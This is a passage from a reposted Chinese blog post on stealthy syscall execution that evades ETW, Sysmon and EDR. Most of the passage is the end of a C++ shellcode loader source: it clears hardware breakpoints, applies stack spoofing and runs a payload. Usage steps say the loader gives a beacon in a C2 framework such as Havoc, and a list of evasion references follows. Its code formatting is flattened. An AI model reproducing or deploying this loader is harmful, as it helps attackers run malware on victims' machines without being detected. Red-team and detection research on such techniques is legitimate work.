thread for execution ResumeThread(hThread);// Wait for the shellcode execution to complete WaitForSingleObject(hThread, INFINITE);// Cleanup CloseHandle(hThread); VirtualFree(fakeReturn, 0, MEM_RELEASE);}// Wrapper function required for stack spoofingvoid WrappedExecuteShellcode(BYTE* shellcode, SIZE_T size) { ExecuteShellcode(shellcode, size);}int main(int argc, char** argv) {if (argc != 2) { std::cerr << "[-] Usage: shellcode_executor.exe <shellcode.bin>n";return-1; } SIZE_T shellcodeSize; BYTE* shellcode = LoadShellcode(argv[1], shellcodeSize);if (!shellcode) { std::cerr << "[-] Failed to load shellcode.n";return-1; } std::cout << "[+] Disabling ETW Logging...n";// DisableETW(); std::cout << "[+] Clearing hardware breakpointsn"; HardwareBreakpointSpoofing(); std::cout << "[+] Executing Shellcode with True Stack Spoofing...n"; TrueStackSpoofer(WrappedExecuteShellcode, shellcode, shellcodeSize); std::cout << "[+] Execution completed.n"; delete[] shellcode;return0;}
执行 Shellcode
编译成功后,只需通过指定 shellcode 文件作为参数来运行可执行文件:
.shellcode_executor.exeshellcode.bin
这将加载提供的 shellcode,应用高级隐身技术并执行有效负载,从而在您配置的命令和控制 (C2) 基础设施(如 Havoc C2 或类似框架)中产生会话或信标。
隐身:网络安全领域一场不断演变的战斗
务必牢记,没有任何一种隐身技术能够永远无法被检测到。安全解决方案不断发展,利用先进的启发式方法、行为分析和人工智能来识别最复杂的隐身方法。
我们今天探索的技术虽然目前非常强大,但随着防御者的不断改进,未来可能会被检测到。我们的方法代表了我们目前对防御措施的理解和分析;持续的研究和改进仍然至关重要。社区的贡献和讨论非常宝贵,因此,如果您发现了改进、检测或更好的规避方法,请在下方评论。您的见解将极大地造福整个网络安全社区。敬请关注;我们将在未来的博客中继续探索新的隐身技术!
参考
https://www.darkrelay.com/courses/mastering-exploit-development
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs
https://intuitem.com/unleashing-direct-syscalls-edr-evading/
https://hadess.io/edr-evasion-techniques-using-syscalls/
https://www.outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
https://pwnedcoffee.com/blog/bypassing-antivirus-using-direct-system-calls/
https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/
https://docs.redteamleaders.com/offensive-security/defense-evasion/direct-syscall-execution-in-windows
https:/redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/
https://0xmaz.me/posts/HookChain-A-Deep-Dive-into-Advanced-EDR-Bypass-Techniques/
https://unprotect.it/technique/evasion-using-direct-syscalls/
https://rioasmara.com/2024/07/14/indirect-vs-direct-syscall/
https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
原文始发于微信公众号(Ots安全):隐身系统调用执行:绕过 ETW、Sysmon 和 EDR 检测
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论